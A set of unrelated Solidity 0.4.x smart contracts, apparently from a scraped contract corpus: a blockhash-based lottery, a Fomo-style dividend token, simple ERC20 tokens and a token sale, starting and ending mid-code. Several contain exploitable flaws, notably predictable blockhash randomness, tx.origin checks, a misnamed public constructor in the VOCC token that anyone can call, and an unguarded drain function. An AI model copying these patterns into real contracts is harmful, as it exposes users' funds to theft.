>= 2; i--) { for (uint256 j = 0; j < level[i].length; j++) { if (level[i][j] != address(0)) { addresses[winnersCount] = level[i][j]; winnersCount++; if (winnersCount == goldenWinners) { return; } } } } } } contract RefStorage is Ownable { IERC20 public token; mapping (address => bool) public contracts; uint256 public prize = 0.00005 ether; uint256 public interval = 100; mapping (address => Player) public players; struct Player { uint256 tickets; uint256 checkpoint; address referrer; } event ReferrerAdded(address player, address referrer); event BonusSent(address recipient, uint256 amount); modifier restricted() { require(contracts[msg.sender]); _; } constructor() public { token = IERC20(address(0x9f9EFDd09e915C1950C5CA7252fa5c4F65AB049B)); } function changeContracts(address contractAddr) public onlyOwner { contracts[contractAddr] = true; } function changePrize(uint256 newPrize) public onlyOwner { prize = newPrize; } function changeInterval(uint256 newInterval) public onlyOwner { interval = newInterval; } function newTicket() external restricted { players[tx.origin].tickets++; if (players[tx.origin].referrer != address(0) && (players[tx.origin].tickets - players[tx.origin].checkpoint) % interval == 0) { if (token.balanceOf(address(this)) >= prize * 2) { token.transfer(tx.origin, prize); emit BonusSent(tx.origin, prize); token.transfer(players[tx.origin].referrer, prize); emit BonusSent(players[tx.origin].referrer, prize); } } } function addReferrer(address referrer) external restricted { if (players[tx.origin].referrer == address(0) && players[referrer].tickets >= interval && referrer != tx.origin) { players[tx.origin].referrer = referrer; players[tx.origin].checkpoint = players[tx.origin].tickets; emit ReferrerAdded(tx.origin, referrer); } } function sendBonus(address winner) external restricted { if (token.balanceOf(address(this)) >= prize) { token.transfer(winner, prize); emit BonusSent(winner, prize); } } function withdrawERC20(address ERC20Token, address recipient) external onlyOwner { uint256 amount = IERC20(ERC20Token).balanceOf(address(this)); IERC20(ERC20Token).transfer(recipient, amount); } function ticketsOf(address player) public view returns(uint256) { return players[player].tickets; } function referrerOf(address player) public view returns(address) { return players[player].referrer; } } contract Lottery10ETH is Ownable { Storage public x; RefStorage public RS; LotteryTicket public LT; WinnerTicket public WT; uint256 constant public PRICE = 0.01 ether; address[] public players; uint256 public limit = 1000; uint256 public futureblock; uint256 public gameCount; bool public paused; uint256[] silver = [20, 0.1 ether]; uint256[] gold = [5, 0.2 ether]; uint256[] brilliant = [1, 5 ether]; event NewPlayer(address indexed addr, uint256 indexed gameCount); event SilverWinner(address indexed addr, uint256 prize, uint256 indexed gameCount); event GoldenWinner(address indexed addr, uint256 prize, uint256 indexed gameCount); event BrilliantWinner(address indexed addr, uint256 prize, uint256 indexed gameCount); event txCostRefunded(address indexed addr, uint256 amount); event FeePayed(address indexed owner, uint256 amount); modifier notFromContract() { address addr = msg.sender; uint256 size; assembly { size := extcodesize(addr) } require(size <= 0); _; } constructor(address RS_Addr) public { x = new Storage(); LT = new LotteryTicket(); WT = new WinnerTicket(); RS = RefStorage(RS_Addr); gameCount++; } function() public payable notFromContract { if (players.length == 0 && paused) { revert(); } if (players.length == limit) { drawing(); if (players.length == 0 && paused || msg.value < PRICE) { msg.sender.transfer(msg.value); return; } } require(msg.value >= PRICE); if (msg.value > PRICE) { msg.sender.transfer(msg.value - PRICE); } if (msg.data.length != 0) { RS.addReferrer(bytesToAddress(bytes(msg.data))); } players.push(msg.sender); x.purchase(msg.sender); RS.newTicket(); LT.emitEvent(msg.sender); emit NewPlayer(msg.sender, gameCount); if (players.length == limit) { drawing(); } } function drawing() internal { require(block.number > futureblock, "Awaiting for a future block"); if (block.number >= futureblock + 230) { futureblock = block.number + 20; return; } uint256 gas = gasleft(); for (uint256 i = 0; i < silver[0]; i++) { address winner = players[uint((blockhash(futureblock - 1 - i))) % players.length]; winner.send(silver[1]); WT.emitEvent(winner); emit SilverWinner(winner, silver[1], gameCount); } uint256 goldenWinners = gold[0]; uint256 goldenPrize = gold[1]; if (x.count() < gold[0]) { goldenWinners = x.count(); goldenPrize = gold[0] * gold[1] / x.count(); } if (goldenWinners != 0) { address[] memory addresses = x.draw(goldenWinners); for (uint256 k = 0; k < addresses.length; k++) { addresses[k].send(goldenPrize); RS.sendBonus(addresses[k]); WT.emitEvent(addresses[k]); emit GoldenWinner(addresses[k], goldenPrize, gameCount); } } uint256 laps = 10; uint256 winnerIdx; uint256 indexes = players.length * 1e18; for (uint256 j = 0; j < laps; j++) { uint256 change = (indexes) / (2 ** (j+1)); if (uint(blockhash(futureblock - j)) % 2 == 0) { winnerIdx += change; } } winnerIdx = winnerIdx / 1e18; players[winnerIdx].send(brilliant[1]); WT.emitEvent(players[winnerIdx]); emit BrilliantWinner(players[winnerIdx], brilliant[1], gameCount); players.length = 0; futureblock = 0; x = new Storage(); gameCount++; uint256 txCost = tx.gasprice * (gas - gasleft()); msg.sender.send(txCost); emit txCostRefunded(msg.sender, txCost); uint256 fee = address(this).balance - msg.value; owner.send(fee); emit FeePayed(owner, fee); } function pause() public onlyOwner { paused = true; } function unpause() public onlyOwner { paused = false; } function withdrawERC20(address ERC20Token, address recipient) external onlyOwner { uint256 amount = IERC20(ERC20Token).balanceOf(address(this)); IERC20(ERC20Token).transfer(recipient, amount); } function bytesToAddress(bytes source) internal pure returns(address parsedReferrer) { assembly { parsedReferrer := mload(add(source,0x14)) } return parsedReferrer; } function amountOfPlayers() public view returns(uint) { return players.length; } function referrerOf(address player) external view returns(address) { return RS.referrerOf(player); } function ticketsOf(address player) external view returns(uint256) { return RS.ticketsOf(player); } }
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pragma solidity ^0.4.24; contract F2m{ using SafeMath for *; modifier onlyTokenHolders() { require(balances[msg.sender] > 0, "not own any token"); _; } modifier onlyAdmin(){ require(msg.sender == devTeam, "admin required"); _; } modifier withdrawRight(){ require((msg.sender == address(bankContract)), "Bank Only"); _; } modifier swapNotActived() { require(swapActived == false, "swap actived, stop minting new tokens"); _; } modifier buyable() { require(buyActived == true, "token sale not ready"); _; } event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); uint256 public totalSupply; string public name; string public symbol; uint32 public decimals; uint256 public unitRate; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; CitizenInterface public citizenContract; LotteryInterface public lotteryContract; BankInterface public bankContract; NewTokenInterface public newTokenContract; WhitelistInterface public whitelistContract; uint256 constant public ONE_HOUR= 3600; uint256 constant public ONE_DAY = 24 * ONE_HOUR; uint256 constant public BEFORE_SLEEP_DURAION = 30 * ONE_DAY; uint256 public HARD_TOTAL_SUPPLY = 8000000; uint256 public refPercent = 15; uint256 public divPercent = 10; uint256 public fundPercent = 2; uint256 public startPrice = 0.0014 ether; uint256 constant public BEP = 30; mapping(address => int256) public credit; mapping(address => uint256) public withdrawnAmount; mapping(address => uint256) public fromSellingAmount; mapping(address => uint256) public lastActiveDay; mapping(address => int256) public todayCredit; mapping(address => uint256) public pInvestedSum; uint256 public investedAmount; uint256 public totalBuyVolume; uint256 public totalSellVolume; uint256 public totalDividends; mapping(uint256 => uint256) public totalDividendsByRound; uint256 public pps = 0; mapping(uint256 => uint256) rPps; mapping(address => mapping (uint256 => int256)) rCredit; uint256 public deployedDay; bool public autoBuy = false; bool public round0 = false; mapping(uint256 => uint256) public ppsInDay; mapping(uint256 => uint256) public divInDay; mapping(uint256 => uint256) public totalBuyVolumeInDay; mapping(uint256 => uint256) public totalSellVolumeInDay; address public devTeam; uint256 public swapTime; bool public swapActived = false; bool public buyActived = false; constructor (address _devTeam) public { symbol = "F2M2"; name = "Fomo2Moon2"; decimals = 10; unitRate = 10**uint256(decimals); HARD_TOTAL_SUPPLY = HARD_TOTAL_SUPPLY * unitRate; DevTeamInterface(_devTeam).setF2mAddress(address(this)); devTeam = _devTeam; uint256 _amount = 500000 * unitRate; totalSupply += _amount; balances[devTeam] = _amount; emit Transfer(0x0, devTeam, _amount); deployedDay = getToday(); } function joinNetwork(address[6] _contract) public { require(address(citizenContract) == 0x0, "already setup"); bankContract = BankInterface(_contract[1]); citizenContract = CitizenInterface(_contract[2]); lotteryContract = LotteryInterface(_contract[3]); whitelistContract = WhitelistInterface(_contract[5]); } function() public payable { } function activeBuy() public onlyAdmin() { require(buyActived == false, "already actived"); buyActived = true; deployedDay = getToday(); } function pushDividends() public payable { uint256 ethAmount = msg.value; uint256 dividends = ethAmount * divPercent / (divPercent + fundPercent); uint256 fund = ethAmount.sub(dividends); uint256 _buyPrice = getBuyPrice(); distributeTax(msg.sender, fund, dividends, 0); if (autoBuy) devTeamAutoBuy(0, _buyPrice); } function addFund(uint256 _fund) private { credit[devTeam] = credit[devTeam].sub(int256(_fund)); } function addDividends(uint256 _dividends) private { if (_dividends == 0) return; totalDividends += _dividends; uint256 today = getToday(); divInDay[today] = _dividends.add(divInDay[today]); if (totalSupply == 0) { addFund(_dividends); } else { addFund(_dividends % totalSupply); uint256 deltaShare = _dividends / totalSupply; pps = pps.add(deltaShare); uint256 curRoundId = getCurRoundId(); rPps[curRoundId] += deltaShare; totalDividendsByRound[curRoundId] += _dividends; ppsInDay[today] = deltaShare + ppsInDay[today]; } } function addToRef(address _sender, uint256 _toRef) private { if (_toRef == 0) return; citizenContract.pushRefIncome.value(_toRef)(_sender); } function distributeTax( address _sender, uint256 _fund, uint256 _dividends, uint256 _toRef) private { addFund(_fund); addDividends(_dividends); addToRef(_sender, _toRef); } function updateCredit(address _owner, uint256 _currentEthAmount, uint256 _rDividends, uint256 _todayDividends) private { uint256 curRoundId = getCurRoundId(); credit[_owner] = int256(pps.mul(balances[_owner])).sub(int256(_currentEthAmount)); rCredit[_owner][curRoundId] = int256(rPps[curRoundId] * balances[_owner]) - int256(_rDividends); todayCredit[_owner] = int256(ppsInDay[getToday()] * balances[_owner]) - int256(_todayDividends); } function mintToken(address _buyer, uint256 _taxedAmount, uint256 _buyPrice) private swapNotActived() buyable() returns(uint256) { uint256 revTokens = ethToToken(_taxedAmount, _buyPrice); investedAmount = investedAmount.add(_taxedAmount); if (revTokens + totalSupply > HARD_TOTAL_SUPPLY) revTokens = HARD_TOTAL_SUPPLY.sub(totalSupply); balances[_buyer] = balances[_buyer].add(revTokens); totalSupply = totalSupply.add(revTokens); emit Transfer(0x0, _buyer, revTokens); return revTokens; } function burnToken(address _seller, uint256 _tokenAmount) private returns (uint256) { require(balances[_seller] >= _tokenAmount, "not enough to burn"); uint256 revEthAmount = tokenToEth(_tokenAmount); investedAmount = investedAmount.sub(revEthAmount); balances[_seller] = balances[_seller].sub(_tokenAmount); totalSupply = totalSupply.sub(_tokenAmount); emit Transfer(_seller, 0x0, _tokenAmount); return revEthAmount; } function devTeamAutoBuy(uint256 _reserved, uint256 _buyPrice) private { uint256 _refClaim = citizenContract.devTeamReinvest(); credit[devTeam] -= int256(_refClaim); uint256 _ethAmount = ethBalance(devTeam); if ((_ethAmount + _reserved) / _buyPrice + totalSupply > HARD_TOTAL_SUPPLY) return; uint256 _rDividends = getRDividends(devTeam); uint256 _todayDividends = getTodayDividendsByAddress(devTeam); mintToken(devTeam, _ethAmount, _buyPrice); updateCredit(devTeam, 0, _rDividends, _todayDividends); } function buy() public payable { address _buyer = msg.sender; buyFor(_buyer); } function buyFor(address _buyer) public payable { updateLastActive(_buyer); uint256 _buyPrice = getBuyPrice(); uint256 ethAmount = msg.value; pInvestedSum[_buyer] += ethAmount; uint256 onePercent = ethAmount / 100; uint256 fund = onePercent.mul(fundPercent); uint256 dividends = onePercent.mul(divPercent); uint256 toRef = onePercent.mul(refPercent); uint256 tax = fund + dividends + toRef; uint256 taxedAmount = ethAmount.sub(tax); totalBuyVolume = totalBuyVolume + ethAmount; totalBuyVolumeInDay[getToday()] += ethAmount; distributeTax(_buyer, fund, dividends, toRef); if (autoBuy) devTeamAutoBuy(taxedAmount, _buyPrice); uint256 curEthBalance = ethBalance(_buyer); uint256 _rDividends = getRDividends(_buyer); uint256 _todayDividends = getTodayDividendsByAddress(_buyer); mintToken(_buyer, taxedAmount, _buyPrice); updateCredit(_buyer, curEthBalance, _rDividends, _todayDividends); } function sell(uint256 _tokenAmount) public onlyTokenHolders() { updateLastActive(msg.sender); address seller = msg.sender; uint256 curEthBalance = ethBalance(seller); uint256 _rDividends = getRDividends(seller); uint256 _todayDividends = getTodayDividendsByAddress(seller); uint256 ethAmount = burnToken(seller, _tokenAmount); uint256 fund = ethAmount.mul(fundPercent) / 100; uint256 taxedAmount = ethAmount.sub(fund); totalSellVolume = totalSellVolume + ethAmount; totalSellVolumeInDay[getToday()] += ethAmount; curEthBalance = curEthBalance.add(taxedAmount); fromSellingAmount[seller] += taxedAmount; updateCredit(seller, curEthBalance, _rDividends, _todayDividends); distributeTax(msg.sender, fund, 0, 0); } function devTeamWithdraw() public returns(uint256) { address sender = msg.sender; require(sender == devTeam, "dev. Team only"); uint256 amount = ethBalance(sender); if (amount == 0) return 0; credit[sender] += int256(amount); withdrawnAmount[sender] = amount.add(withdrawnAmount[sender]); devTeam.transfer(amount); return amount; } function withdrawFor(address sender) public withdrawRight() returns(uint256) { uint256 amount = ethBalance(sender); if (amount == 0) return 0; credit[sender] = credit[sender].add(int256(amount)); withdrawnAmount[sender] = amount.add(withdrawnAmount[sender]); bankContract.pushToBank.value(amount)(sender); return amount; } function updateAllowed(address _from, address _to, uint256 _tokenAmount) private { require(balances[_from] >= _tokenAmount, "not enough to transfer"); if (_from != msg.sender) allowed[_from][_to] = allowed[_from][_to].sub(_tokenAmount); } function transferFrom(address _from, address _to, uint256 _tokenAmount) public returns(bool) { updateAllowed(_from, _to, _tokenAmount); updateLastActive(_from); updateLastActive(_to); uint256 curEthBalance_from = ethBalance(_from); uint256 _rDividends_from = getRDividends(_from); uint256 _todayDividends_from = getTodayDividendsByAddress(_from); uint256 curEthBalance_to = ethBalance(_to); uint256 _rDividends_to = getRDividends(_to); uint256 _todayDividends_to = getTodayDividendsByAddress(_to); uint256 taxedTokenAmount = _tokenAmount; balances[_from] -= taxedTokenAmount; balances[_to] += taxedTokenAmount; updateCredit(_from, curEthBalance_from, _rDividends_from, _todayDividends_from); updateCredit(_to, curEthBalance_to, _rDividends_to, _todayDividends_to); emit Transfer(_from, _to, taxedTokenAmount); return true; } function transfer(address _to, uint256 _tokenAmount) public returns (bool) { transferFrom(msg.sender, _to, _tokenAmount); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function updateLastActive(address _sender) private { if (lastActiveDay[_sender] != getToday()) { lastActiveDay[_sender] = getToday(); todayCredit[_sender] = 0; } } function setAutoBuy() public onlyAdmin() { autoBuy = !autoBuy; } function totalEthBalance() public view returns(uint256) { return address(this).balance; } function ethBalance(address _address) public view returns(uint256) { return (uint256) ((int256)(pps.mul(balances[_address])).sub(credit[_address])); } function getTotalDividendsByAddress(address _invester) public view returns(uint256) { return (ethBalance(_invester)) + (withdrawnAmount[_invester]) - (fromSellingAmount[_invester]); } function getTodayDividendsByAddress(address _invester) public view returns(uint256) { int256 _todayCredit = (getToday() == lastActiveDay[_invester]) ? todayCredit[_invester] : 0; return (uint256) ((int256)(ppsInDay[getToday()] * balances[_invester]) - _todayCredit); } function getSellPrice() public view returns(uint256) { if (totalSupply == 0) { return 0; } else { return investedAmount / totalSupply; } } function getSellPriceAfterTax() public view returns(uint256) { uint256 _sellPrice = getSellPrice(); uint256 taxPercent = fundPercent; return _sellPrice * (100 - taxPercent) / 100; } function getBuyPrice() public view returns(uint256) { uint256 taxPercent = fundPercent + divPercent + refPercent; uint256 avgPps = getAvgPps(); uint256 _sellPrice = getSellPrice(); uint256 _buyPrice = (startPrice / unitRate + avgPps * BEP * HARD_TOTAL_SUPPLY / (HARD_TOTAL_SUPPLY + unitRate - totalSupply)) * (100 - taxPercent) / 100; uint256 _min = _sellPrice * 14 / 10; if (_buyPrice < _min) return _min; return _buyPrice; } function getBuyPriceAfterTax() public view returns(uint256) { uint256 _buyPrice = getBuyPrice(); uint256 taxPercent = fundPercent + divPercent + refPercent; return _buyPrice * 100 / (100 - taxPercent); } function ethToToken(uint256 _ethAmount, uint256 _buyPrice) public view returns(uint256) { uint256 revToken = _ethAmount / _buyPrice; return revToken; } function tokenToEth(uint256 _tokenAmount) public view returns(uint256) { uint256 sellPrice = getSellPrice(); return _tokenAmount.mul(sellPrice); } function getToday() public view returns (uint256) { return (block.timestamp / ONE_DAY); } function getAvgPps() public view returns (uint256) { uint256 divSum = 0; uint256 _today = getToday(); uint256 _fromDay = _today - 6; if (_fromDay < deployedDay) _fromDay = deployedDay; for (uint256 i = _fromDay; i <= _today; i++) { divSum = divSum.add(divInDay[i]); } if (totalSupply == 0) return 0; return divSum / (_today + 1 - _fromDay) / totalSupply; } function getTotalVolume() public view returns(uint256) { return totalBuyVolume + totalSellVolume; } function getWeeklyBuyVolume() public view returns(uint256) { uint256 _total = 0; uint256 _today = getToday(); for (uint256 i = _today; i + 7 > _today; i--) { _total = _total + totalBuyVolumeInDay[i]; } return _total; } function getWeeklySellVolume() public view returns(uint256) { uint256 _total = 0; uint256 _today = getToday(); for (uint256 i = _today; i + 7 > _today; i--) { _total = _total + totalSellVolumeInDay[i]; } return _total; } function getWeeklyVolume() public view returns(uint256) { return getWeeklyBuyVolume() + getWeeklySellVolume(); } function getTotalDividends() public view returns(uint256) { return totalDividends; } function getRDividends(address _invester) public view returns(uint256) { uint256 curRoundId = getCurRoundId(); return uint256(int256(rPps[curRoundId] * balances[_invester]) - rCredit[_invester][curRoundId]); } function getWeeklyDividends() public view returns(uint256) { uint256 divSum = 0; uint256 _today = getToday(); uint256 _fromDay = _today - 6; if (_fromDay < deployedDay) _fromDay = deployedDay; for (uint256 i = _fromDay; i <= _today; i++) { divSum = divSum.add(divInDay[i]); } return divSum; } function getMarketCap() public view returns(uint256) { return totalSupply.mul(getBuyPriceAfterTax()); } function totalSupply() public view returns(uint) { return totalSupply; } function balanceOf(address tokenOwner) public view returns(uint256) { return balances[tokenOwner]; } function myBalance() public view returns(uint256) { return balances[msg.sender]; } function myEthBalance() public view returns(uint256) { return ethBalance(msg.sender); } function myCredit() public view returns(int256) { return credit[msg.sender]; } function getCurRoundId() public view returns(uint256) { return lotteryContract.getCurRoundId(); } function swapToken() public onlyTokenHolders() { require(swapActived, "swap not actived"); address _invester = msg.sender; uint256 _tokenAmount = balances[_invester]; uint256 _ethAmount = ethBalance(_invester); _ethAmount += burnToken(_invester, _tokenAmount); updateCredit(_invester, 0, 0, 0); newTokenContract.swapToken.value(_ethAmount)(_tokenAmount, _invester); } function setNewToken(address _newTokenAddress) public onlyAdmin() { bool _isLastRound = lotteryContract.isLastRound(); require(_isLastRound, "too early"); require(swapActived == false, "already set"); swapTime = block.timestamp; swapActived = true; newTokenContract = NewTokenInterface(_newTokenAddress); autoBuy = false; } function sleep() public { require(swapActived, "swap not actived"); require(swapTime + BEFORE_SLEEP_DURAION < block.timestamp, "too early"); uint256 _ethAmount = address(this).balance; devTeam.transfer(_ethAmount); } } library SafeMath { int256 constant private INT256_MIN = -2**255; function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function mul(int256 a, int256 b) internal pure returns (int256) { if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); int256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); require(!(b == -1 && a == INT256_MIN)); int256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface CitizenInterface { function joinNetwork(address[6] _contract) public; function devTeamWithdraw() public; function updateUsername(string _sNewUsername) public; function pushRefIncome(address _sender) public payable; function withdrawFor(address _sender) public payable returns(uint256); function devTeamReinvest() public returns(uint256); function getRefWallet(address _address) public view returns(uint256); } interface LotteryInterface { function joinNetwork(address[6] _contract) public; function activeFirstRound() public; function pushToPot() public payable; function finalizeable() public view returns(bool); function finalize() public; function buy(string _sSalt) public payable; function buyFor(string _sSalt, address _sender) public payable; function withdrawFor(address _sender) public returns(uint256); function getRewardBalance(address _buyer) public view returns(uint256); function getTotalPot() public view returns(uint256); function getEarlyIncomeByAddress(address _buyer) public view returns(uint256); function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256); function getCurRoundId() public view returns(uint256); function setLastRound(uint256 _lastRoundId) public; function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256); function cashoutable(address _address) public view returns(bool); function isLastRound() public view returns(bool); function sBountyClaim(address _sBountyHunter) public returns(uint256); } interface DevTeamInterface { function setF2mAddress(address _address) public; function setLotteryAddress(address _address) public; function setCitizenAddress(address _address) public; function setBankAddress(address _address) public; function setRewardAddress(address _address) public; function setWhitelistAddress(address _address) public; function setupNetwork() public; } interface BankInterface { function joinNetwork(address[6] _contract) public; function pushToBank(address _player) public payable; } interface NewTokenInterface { function swapToken(uint256 _amount, address _invester) public payable; } interface WhitelistInterface { function joinNetwork(address[6] _contract) public; }
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pragma solidity ^0.4.25 ; contract VOCC_I076_20181211 { mapping (address => uint256) public balanceOf; string public name = " VOCC_I076_20181211 " ; string public symbol = " VOCC_I076_20181211_subDT " ; uint8 public decimals = 18 ; uint256 public totalSupply = 19800000000000000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
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pragma solidity ^0.4.16; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner(){ require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool){ balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(0X0, _to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract FidentiaXToken is MintableToken { string public name = "fidentiaX"; string public symbol = "fdX"; uint256 public decimals = 18; bool public tradingStarted = false; modifier hasStartedTrading() { require(tradingStarted); _; } function startTrading() public onlyOwner { tradingStarted = true; } function transfer(address _to, uint _value) hasStartedTrading public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) hasStartedTrading public returns (bool) { return super.transferFrom(_from, _to, _value); } function emergencyERC20Drain( ERC20 oddToken, uint amount ) public { oddToken.transfer(owner, amount); } } contract Sender { address firstContractor = 0x155020972767efc46DDA0Ec63A95627550F8C64F; address secondContractor = 0xDcDa40786C0E63B7932B7F844846eDce994a0851; function SendThreeWays( address multisig, uint256 value ) internal { uint256 cshare = value / 400; uint256 mainshare = value - 2 * cshare; firstContractor.transfer(cshare); secondContractor.transfer(cshare); multisig.transfer(mainshare); } } contract FidentiaXTokenSale is Ownable,Sender { using SafeMath for uint256; FidentiaXToken public token; uint256 public decimals; uint256 public oneCoin; uint256 public startTimestamp; uint256 public endTimestamp; uint256 public tier1Timestamp; uint256 public tier2Timestamp; address public multiSig; function setWallet(address _newWallet) public onlyOwner { multiSig = _newWallet; } uint256 public rate; uint256 public minContribution = 0.0001 ether; uint256 public maxContribution = 200000 ether; uint256 public weiRaised; uint256 public tokenRaised; uint256 public maxTokens; uint256 public tokensForSale; uint256 public numberOfPurchasers = 0; address public cs; address public fx; bool public freeForAll = false; mapping (address => bool) public authorised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event SaleClosed(); function FidentiaXTokenSale() public { startTimestamp = 1509930000; endTimestamp = 1512489599; tier1Timestamp = 1510102799; tier2Timestamp = 1510361999; multiSig = 0x90420B8aef42F856a0AFB4FFBfaA57405FB190f3; token = new FidentiaXToken(); decimals = token.decimals(); oneCoin = 10 ** decimals; maxTokens = 130 * (10**6) * oneCoin; tokensForSale = 130 * (10**6) * oneCoin; } function getRateAt(uint256 at) internal constant returns (uint256) { if (at < (tier1Timestamp)) return 575; if (at < (tier2Timestamp)) return 550; return 500; } function hasEnded() public constant returns (bool) { if (now > endTimestamp) return true; if (tokenRaised >= tokensForSale) return true; return false; } modifier onlyCSorFx() { require((msg.sender == fx) || (msg.sender==cs)); _; } modifier onlyFx() { require(msg.sender == fx); _; } modifier onlyAuthorised() { require (authorised[msg.sender] || freeForAll); require (now >= startTimestamp); require (!(hasEnded())); require (multiSig != 0x0); require (msg.value > 1 finney); require(tokensForSale > tokenRaised); _; } function authoriseAccount(address whom) onlyCSorFx public { authorised[whom] = true; } function authoriseManyAccounts(address[] many) onlyCSorFx public { for (uint256 i = 0; i < many.length; i++) { authorised[many[i]] = true; } } function blockAccount(address whom) onlyCSorFx public { authorised[whom] = false; } function setCS(address newCS) onlyOwner public { cs = newCS; } function setFx(address newFx) onlyOwner public { fx = newFx; } function placeTokens(address beneficiary, uint256 _tokens) onlyFx public { require(_tokens != 0); require(!hasEnded()); uint256 amount = 0; if (token.balanceOf(beneficiary) == 0) { numberOfPurchasers++; } tokenRaised = tokenRaised.add(_tokens); token.mint(beneficiary, _tokens); TokenPurchase(beneficiary, beneficiary, amount, _tokens); } function buyTokens(address beneficiary, uint256 amount) onlyAuthorised internal { require(amount >= minContribution); require(amount <= maxContribution); uint256 actualRate = getRateAt(now); uint256 tokens = amount.mul(actualRate); weiRaised = weiRaised.add(amount); if (token.balanceOf(beneficiary) == 0) { numberOfPurchasers++; } tokenRaised = tokenRaised.add(tokens); token.mint(beneficiary, tokens); TokenPurchase(beneficiary, beneficiary, amount, tokens); SendThreeWays(multiSig,this.balance); } function finishSale() public onlyOwner { require(hasEnded()); uint unassigned; if(maxTokens > tokenRaised) { unassigned = maxTokens.sub(tokenRaised); token.mint(multiSig,unassigned); } token.finishMinting(); token.transferOwnership(owner); SaleClosed(); } function () public payable { buyTokens(msg.sender, msg.value); } function emergencyERC20Drain( ERC20 oddToken, uint amount ) public { oddToken.transfer(owner, amount); } }
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contract Token { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { uint256 constant MAX_UINT256 = 2**256 - 1; function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) view public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } 